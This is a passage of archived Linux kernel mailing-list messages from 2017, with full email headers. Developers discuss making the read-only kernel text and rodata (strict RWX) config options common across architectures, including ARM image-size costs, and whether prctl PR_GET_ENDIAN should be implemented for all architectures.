         l17+i/QH/jyXehC6EFKtwf20uBdgCDgluQe2uoFqHCb6piwGgauEAxIGmzXRv/yzSvEV
         gcEzb3/n9ZBFtitDpaNIl68X3Jfoy5T/Acmq1sOha1vJt7zpfWFMDKiAy6i8iNLTB1Jw
         t+UUvRpZBs2M+AMpZ4/h7X3xg80+4JF855IeRYuShYK4JxzfwAqesCbSe68xuuCD3/PZ
         CviF7AJ9tt1HSu1PC/TAWlozVE0U7tG1669VHdRtBLyNJFSkIK4HYgTyANEs4aC9Wkt2
         tL3A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=v41oo6+oMtGOtY6Q3dowVZLNbl1MdcUjT9l2slUuqvk=;
        b=Gb8q7y6B1S17jXlEzrURYsWruUAZ4Rm3U3JukwyYyMuJJ/iaM+i3hVsaa++Fofr8Lg
         7sm+ISARx4MAjrZD4vLwjx+VpFMYzezIMxFyiKH0JS0BV/KXIBRSnoS3Z+DqayZYP5EK
         rphj3uflJ3EqHeM6iKejq6hOYxTy1OQZsouVE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=v41oo6+oMtGOtY6Q3dowVZLNbl1MdcUjT9l2slUuqvk=;
        b=bo9x7BIc7R3AL+756zKp85rgK/V5OL/SBka13+VIiABn/glIVZshqaOmcbjDcnT4yg
         PPasmfErsBUjpdNPuvYmCF0+6Lmy8+i1v9OyVYRNhrYaa69VsgF3J9EZvLJluTkXpqZ6
         c4WUXVz3S8lGNsbLKBbQxf39l4mYBjATCrBum0g3IwNW8SI2UVD83muR3vmJhwQDE2zM
         EaHZQHcqH4e/H4cCVq2glWUlTjqJ2vhy1FrddVdoehF1U3bRnXt0m78aowJ4KedouAHh
         ZwTmp8rOJbgVqE34NwQeUIvTAsFTr0MYkqDKE0NScqgZkNH9Kj58L/xSwB7RgSU6DqQv
         6vjg==
X-Gm-Message-State: AIkVDXJVc/sOcNgQ3DP/xiHVNNiNMvTGWBulb8XKxYXMCxnG2a2zPA82uAoXRMSd4xI9AfdWLV9ehreBELyML0nh
X-Received: by 10.36.64.70 with SMTP id n67mr2875699ita.21.1486163223723; Fri,
 03 Feb 2017 15:07:03 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Fri, 3 Feb 2017 15:07:02 -0800 (PST)
In-Reply-To: <20170203222822.GG27312@n2100.armlinux.org.uk>
X-Google-Sender-Auth: sVdpsdIlCtAarxLWi4nYmTs1vUc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27258 gmane.linux.documentation:44722 gmane.linux.kernel:2403200 gmane.linux.ports.arm.kernel:556900 gmane.linux.power-management.general:86151 gmane.linux.kernel.hardened.devel:5444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27258>

On Fri, Feb 3, 2017 at 2:28 PM, Russell King - ARM Linux
<linux@armlinux.org.uk> wrote:
> On Fri, Feb 03, 2017 at 01:08:40PM -0800, Kees Cook wrote:
>> On Fri, Feb 3, 2017 at 12:29 PM, Russell King - ARM Linux
>> <linux@armlinux.org.uk> wrote:
>> > On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
>> >> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>> >> > diff --git a/arch/Kconfig b/arch/Kconfig
>> >> > index 99839c2..22ee01e 100644
>> >> > --- a/arch/Kconfig
>> >> > +++ b/arch/Kconfig
>> >> > @@ -781,4 +781,32 @@ config VMAP_STACK
>> >> >           the stack to map directly to the KASAN shadow map using a formula
>> >> >           that is incorrect if the stack is in vmalloc space.
>> >> >
>> >> > +config ARCH_NO_STRICT_RWX_DEFAULTS
>> >> > +       def_bool n
>> >> > +
>> >> > +config ARCH_HAS_STRICT_KERNEL_RWX
>> >> > +       def_bool n
>> >> > +
>> >> > +config DEBUG_RODATA
>> >> > +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
>> >> > +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>> >>
>> >> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
>> >> lines. Nice!
>> >
>> > It's no different from the more usual:
>> >
>> >         bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>> >         default y if !ARCH_NO_STRICT_RWX_DEFAULTS
>> >         depends on ARCH_HAS_STRICT_KERNEL_RWX
>> >
>> > But... I really don't like this - way too many negations and negatives
>> > which make it difficult to figure out what's going on here.
>> >
>> > The situation we have today is:
>> >
>> > -config DEBUG_RODATA
>> > -       bool "Make kernel text and rodata read-only"
>> > -       depends on MMU && !XIP_KERNEL
>> > -       default y if CPU_V7
>> >
>> > which is "allow the user to select DEBUG_RODATA if building a MMU non-XIP
>> > kernel", suggesting that the user turns it on for ARMv7 CPUs.
>> >
>> > That changes with this and the above:
>> >
>> > +       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
>> > +       select ARCH_HAS_STRICT_MODULE_RWX if MMU
>> > +       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
>> >
>> > This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
>> > kernel, which carries the same pre-condition for DEBUG_RODATA - no
>> > problem there.
>> >
>> > However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
>> > means the "Make kernel text and rodata read-only" prompt _is_ provided
>> > for those.  However, for all ARMv7 systems, we go from "suggesting that
>> > the user enables the option" to "you don't have a choice, you get this
>> > whether you want it or not."
>> >
>> > I'd prefer to keep it off for my development systems, where I don't
>> > care about kernel security.  If we don't wish to do that as a general
>> > rule, can we make it dependent on EMBEDDED?
>> >
>> > Given that on ARM it can add up to 4MB to the kernel image - there
>> > _will_ be about 1MB before the .text section, the padding on between
>> > __modver and __ex_table which for me is around 626k, the padding
>> > between .notes and the init sections start with .vectors (the space
>> > between __ex_table and end of .notes is only 4124, which gets padded
>> > up to 1MB) and lastly the padding between the .init section and the
>> > data section (for me around 593k).  This all adds up to an increase
>> > in kernel image size of 3.2MB on 14.2MB - an increase of 22%.
>> >
>> > So no, I'm really not happy with that.
>>
>> Ah yeah, good point. We have three cases: unsupported, mandatory,
>> optional, but we have the case of setting the default for the optional
>> case. Maybe something like this?
>>
>> config STRICT_KERNEL_RWX
>>   bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>>   depends on ARCH_HAS_STRICT_KERNEL_RWX
>>   default ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
>>
>> unsupported:
>> !ARCH_HAS_STRICT_KERNEL_RWX
>>
>> mandatory:
>> ARCH_HAS_STRICT_KERNEL_RWX
>> !ARCH_OPTIONAL_KERNEL_RWX
>>
>> optional:
>> ARCH_HAS_STRICT_KERNEL_RWX
>> ARCH_OPTIONAL_KERNEL_RWX
>> with default controlled by ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
>>
>> Then arm is:
>>   select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
>>   select ARCH_HAS_STRICT_MODULE_RWX if MMU
>>   select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
>>   select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7
>>
>> x86 and arm64 are:
>>   select ARCH_HAS_STRICT_KERNEL_RWX
>>   select ARCH_HAS_STRICT_MODULE_RWX
>
> Looks to me like it will do the job.
>
> In passing, I noticed that, on ARM:
>
>   3 .rodata       002212b4  c0703000  c0703000  00703000  2**6
>                   CONTENTS, ALLOC, LOAD, DATA
>
> a lack of READONLY there - which suggests something in this lot isn't
> actually read-only data:
>
>         .rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {           \
>                 VMLINUX_SYMBOL(__start_rodata) = .;                     \
>                 *(.rodata) *(.rodata.*)                                 \
>                 RO_AFTER_INIT_DATA      /* Read only after init */      \
>                 KEEP(*(__vermagic))     /* Kernel version magic */      \
>                 . = ALIGN(8);                                           \
>                 VMLINUX_SYMBOL(__start___tracepoints_ptrs) = .;         \
>                 KEEP(*(__tracepoints_ptrs)) /* Tracepoints: pointer array */ \
>                 VMLINUX_SYMBOL(__stop___tracepoints_ptrs) = .;          \
>                 *(__tracepoints_strings)/* Tracepoints: strings */      \
>         }                                                               \
>
> I suspect it's the RO_AFTER_INIT_DATA section - maybe this should be
> placed into its own separate output section?  I don't think it's doing
> any harm, it's just odd that the .rodata section is marked as a normal
> data section.

Yeah, I think the linker drops the RO flag when it see the
RO_AFTER_INIT_DATA flags. Since the kernel does the permissions
settings, this has been fine. If we can force the linker flags on it,
I'm all for it, but every time I've tried, it has defeated me. :)

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Sun, 5 Feb 2017 12:48:37 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <CAEdQ38FXam3sXKFc5-3WEgDDov0yayAWXK8hbuNjbSxJQ5QDVw@mail.gmail.com>
References: <20170128111310.GA13389@ls3530.fritz.box> <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
 <1485990732.2322.40.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486295345 12208 195.159.176.226 (5 Feb 2017 11:49:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 5 Feb 2017 11:49:05 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        LKML <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        linux-api@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Feb 05 12:49:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1caLJU-0002kc-Iw
	for glk-linux-kernel-3@m.gmane.org; Sun, 05 Feb 2017 12:49:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751821AbdBELtA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 5 Feb 2017 06:49:00 -0500
Original-Received: from mail-yw0-f196.google.com ([209.85.161.196]:35311 "EHLO
        mail-yw0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751344AbdBELs6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 5 Feb 2017 06:48:58 -0500
Original-Received: by mail-yw0-f196.google.com with SMTP id l16so5074244ywb.2;
        Sun, 05 Feb 2017 03:48:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=XJ5pwkIZBcgynpzdLYeRM6mRveQUFlJHcDMMXnHR8fE=;
        b=JfgIJ4kzkgHw5bsJQ7EBAUwAgwi33uenKmctTvTsGJxif0uLEYXd2yQYEJlwWGFrCh
         MLyiS8u4wFi32yeeGJvEY5lbymZu6Qd7nwD7CSq6iSYIU7ZjtM+G3SeNa0lKOLIExmuk
         p03ORIMsbfKlCfUaOWHofcnAyUCRmJo/VLrmkPzjStVg09fO+MYhT7xu4BwE0LXdQTli
         x4xSRrbpvgoSUzFfCOLXBYulVHgSBw0RoGDbjDGzPUNbfJFCZZGnj5gvaLJ77Sxl8KLh
         2uFr0Bg3LoShyx066EmoWs1bK+U2le6AHk4hFM3e3gzrgcKPMWBthkGi4pYW9kD6mypJ
         LBRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=XJ5pwkIZBcgynpzdLYeRM6mRveQUFlJHcDMMXnHR8fE=;
        b=Ypn5wt31hUqgSYEiCxGUKdA6M79ywj+XVOSrVe5n6YcA5TXXPUasrVTufYu73Rnlr3
         kVLUcAI+TLLVpVc/ZZeBcIIMWs6yPoU9ZFZyiPlUmzY0WNJjVno7tJbDPZRWgQL7+0q4
         YPcqmnWzNiBrJ3VJYKL2R24EKJz0Ddk2P891gK0OcLYh/hjYrIGnB7vvvLphcVOJLM+p
         HADuJaHlWWApOr9HTxZCALO5hbR+oCzDjbSQ8jaAKFaIDHNXtPjICAqm3FUIyuIUvqjZ
         TbXY3tFxKvo6E081PbFPOWFYegfQ3qVkcouHoF5+v3mEtR96Lud4kR2jMzQcC7sINtLc
         Z8fg==
X-Gm-Message-State: AIkVDXKLfCb8/Qc+LPiFvmaxs3PF3fW87I80XWMUphuYAyP6xSWqS7qPmEThiY0pSmqyrrKEZ/2H02wohtF6Lw==
X-Received: by 10.129.172.36 with SMTP id k36mr4262242ywh.286.1486295337541;
 Sun, 05 Feb 2017 03:48:57 -0800 (PST)
Original-Received: by 10.37.117.3 with HTTP; Sun, 5 Feb 2017 03:48:37 -0800 (PST)
In-Reply-To: <1485990732.2322.40.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2403582 gmane.linux.ports.parisc:27259 gmane.linux.kernel.api:22166
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2403582>

On Thu, Feb 2, 2017 at 12:12 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Tue, 2017-01-31 at 16:26 -0800, Andrew Morton wrote:
>> On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller@gmx.de>
>> wrote:
>>
>> > The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
>> > implemented for PowerPC only. This trivial patch adds support for
>> > this syscall for all other architectures.
>>
>> Seems reasonable.  I guess.  Why is this needed?
>
> I don't think it is other than for PPC.  If you're not variable endian
> (which is only PPC to date), then you should know a priori what endian
> you are from the #defines in userspace.

MIPS as well, but it seems strange to require the kernel to tell you
your endianness, when you can easily determine it yourself. Unless
there's something about this I don't understand.


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Maciej W. Rozycki" <macro@linux-mips.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Sun, 5 Feb 2017 13:15:48 +0000 (GMT)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.20.1702051300010.27997@eddie.linux-mips.org>
References: <20170128111310.GA13389@ls3530.fritz.box> <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org> <1485990732.2322.40.camel@HansenPartnership.com> <CAEdQ38FXam3sXKFc5-3WEgDDov0yayAWXK8hbuNjbSxJQ5QDVw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1486300556 10651 195.159.176.226 (5 Feb 2017 13:15:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 5 Feb 2017 13:15:56 +0000 (UTC)
User-Agent: Alpine 2.20 (LFD 67 2015-01-07)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        LKML <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        linux-api@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Feb 05 14:15:52 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1caMfX-0002SE-4K
	for glk-linux-kernel-3@m.gmane.org; Sun, 05 Feb 2017 14:15:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751735AbdBENPw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 5 Feb 2017 08:15:52 -0500
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:43640 "EHLO
        cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751101AbdBENPu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 5 Feb 2017 08:15:50 -0500
Original-Received: from localhost.localdomain ([127.0.0.1]:56442 "EHLO
        localhost.localdomain" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23990507AbdBENPsNJm3U (ORCPT
        <rfc822;linux-api@vger.kernel.org> + 2 others);
        Sun, 5 Feb 2017 14:15:48 +0100
In-Reply-To: <CAEdQ38FXam3sXKFc5-3WEgDDov0yayAWXK8hbuNjbSxJQ5QDVw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2403585 gmane.linux.ports.parisc:27260 gmane.linux.kernel.api:22167
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2403585>

On Sun, 5 Feb 2017, Matt Turner wrote:

> > I don't think it is other than for PPC.  If you're not variable endian
> > (which is only PPC to date), then you should know a priori what endian
> > you are from the #defines in userspace.
> 
> MIPS as well, but it seems strange to require the kernel to tell you
> your endianness, when you can easily determine it yourself. Unless
> there's something about this I don't understand.

 Many MIPS processors do have a reverse-endian control bit, which allows a 
user process to execute in the endianness opposite to the endianness the 
kernel runs in.  The feature has been around since 1991 and the R4000 CPU, 
however support is unlikely to be ever added to the MIPS/Linux port, due 
to the complexity required for byte-swapping all the data structures 
passed in memory between the kernel and the userland.  Does the PPC/Linux 
port actually implement this swapping?

  Maciej


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Mon, 6 Feb 2017 10:47:45 -0800
Lines: 121
Approved: news@gmane.org
Message-ID: <f88765d3-4c45-542e-892b-33a6c3c3c4d2@redhat.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com>
 <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
 <20170203202919.GE27312@n2100.armlinux.org.uk>
 <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1486406884 14455 195.159.176.226 (6 Feb 2017 18:48:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Feb 2017 18:48:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
        LKML <linux-kernel@vger.kernel.org>,
To: Kees Cook <keescook@chromium.org>,
        Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 06 19:47:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1caoKQ-0003HT-V8
	for glk-linux-kernel-3@m.gmane.org; Mon, 06 Feb 2017 19:47:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752229AbdBFSr6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 6 Feb 2017 13:47:58 -0500
Original-Received: from mail-qk0-f173.google.com ([209.85.220.173]:34983 "EHLO
        mail-qk0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752200AbdBFSrx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Feb 2017 13:47:53 -0500
Original-Received: by mail-qk0-f173.google.com with SMTP id u25so64412499qki.2
        for <linux-kernel@vger.kernel.org>; Mon, 06 Feb 2017 10:47:53 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=Y5MKO5ZlLM4NqFvblUkZqQudjJ+AUYRByxMk0KatC/4=;
        b=kzJ92BgTLzEWTlWrrxd5GDVv1bJ5qBHIBuo+VB8gVwZHTgwuzHpipvboIU9dcK2p6V
         Hd7arj2B+SO06tOaHowI87ALnF+3Zm+YUmDHMaFmxeLWGIJcddL0Zs3zl+/ZYfe9L1by
         52soQ+7JoPC10TIsq93KlgnfcoEZEXMf5uVbQdgO7oOBSUdMu57uj7ctm1R5qRnJ0Vgg
         yLXXSp1Op08ODHCe3tCR3XhAKb0jBUsr6xAN0H663LI1TkZqno8v7RVRIoMmGjwjXwal
         9A1aAEQhYv8BRCfXC29lQVQygiUHDUd2J67/B3mI2xQWNWe4NWILG+Ym/qrjdP3Xom+r
         SeEQ==
X-Gm-Message-State: AMke39m6zTLm+lHjGZHDyvuNVZfE3D+orWpaBIHfc4XlM9ETkok842rZE6oSDijXevZYRccL
X-Received: by 10.55.77.216 with SMTP id a207mr11983028qkb.63.1486406872812;
        Mon, 06 Feb 2017 10:47:52 -0800 (PST)
Original-Received: from ?IPv6:2601:602:9802:a8dc::5ce7? ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id s71sm1210847qkl.22.2017.02.06.10.47.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 06 Feb 2017 10:47:49 -0800 (PST)
In-Reply-To: <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2404813 gmane.linux.documentation:44743 gmane.linux.ports.arm.kernel:557255 gmane.linux.ports.parisc:27261 gmane.linux.power-management.general:86213 gmane.linux.kernel.hardened.devel:5498
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2404813>

On 02/03/2017 01:08 PM, Kees Cook wrote:
> On Fri, Feb 3, 2017 at 12:29 PM, Russell King - ARM Linux
> <linux@armlinux.org.uk> wrote:
>> On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
>>> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>>>> diff --git a/arch/Kconfig b/arch/Kconfig
>>>> index 99839c2..22ee01e 100644
>>>> --- a/arch/Kconfig
>>>> +++ b/arch/Kconfig
>>>> @@ -781,4 +781,32 @@ config VMAP_STACK
>>>>           the stack to map directly to the KASAN shadow map using a formula
>>>>           that is incorrect if the stack is in vmalloc space.
>>>>
>>>> +config ARCH_NO_STRICT_RWX_DEFAULTS
>>>> +       def_bool n
>>>> +
>>>> +config ARCH_HAS_STRICT_KERNEL_RWX
>>>> +       def_bool n
>>>> +
>>>> +config DEBUG_RODATA
>>>> +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
>>>> +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>>>
>>> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
>>> lines. Nice!
>>
>> It's no different from the more usual:
>>
>>         bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
>>         default y if !ARCH_NO_STRICT_RWX_DEFAULTS
>>         depends on ARCH_HAS_STRICT_KERNEL_RWX
>>
>> But... I really don't like this - way too many negations and negatives
>> which make it difficult to figure out what's going on here.
>>
>> The situation we have today is:
>>
>> -config DEBUG_RODATA
>> -       bool "Make kernel text and rodata read-only"
>> -       depends on MMU && !XIP_KERNEL
>> -       default y if CPU_V7
>>
>> which is "allow the user to select DEBUG_RODATA if building a MMU non-XIP
>> kernel", suggesting that the user turns it on for ARMv7 CPUs.
>>
>> That changes with this and the above:
>>
>> +       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
>> +       select ARCH_HAS_STRICT_MODULE_RWX if MMU
>> +       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
>>
>> This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
>> kernel, which carries the same pre-condition for DEBUG_RODATA - no
>> problem there.
>>
>> However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
>> means the "Make kernel text and rodata read-only" prompt _is_ provided
>> for those.  However, for all ARMv7 systems, we go from "suggesting that
>> the user enables the option" to "you don't have a choice, you get this
>> whether you want it or not."
>>
>> I'd prefer to keep it off for my development systems, where I don't
>> care about kernel security.  If we don't wish to do that as a general
>> rule, can we make it dependent on EMBEDDED?
>>
>> Given that on ARM it can add up to 4MB to the kernel image - there
>> _will_ be about 1MB before the .text section, the padding on between
>> __modver and __ex_table which for me is around 626k, the padding
>> between .notes and the init sections start with .vectors (the space
>> between __ex_table and end of .notes is only 4124, which gets padded
>> up to 1MB) and lastly the padding between the .init section and the
>> data section (for me around 593k).  This all adds up to an increase
>> in kernel image size of 3.2MB on 14.2MB - an increase of 22%.
>>
>> So no, I'm really not happy with that.
> 
> Ah yeah, good point. We have three cases: unsupported, mandatory,
> optional, but we have the case of setting the default for the optional
> case. Maybe something like this?
> 
> config STRICT_KERNEL_RWX
>   bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>   depends on ARCH_HAS_STRICT_KERNEL_RWX
>   default ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> 
> unsupported:
> !ARCH_HAS_STRICT_KERNEL_RWX
> 
> mandatory:
> ARCH_HAS_STRICT_KERNEL_RWX
> !ARCH_OPTIONAL_KERNEL_RWX
> 
> optional:
> ARCH_HAS_STRICT_KERNEL_RWX
> ARCH_OPTIONAL_KERNEL_RWX
> with default controlled by ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> 
> Then arm is:
>   select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
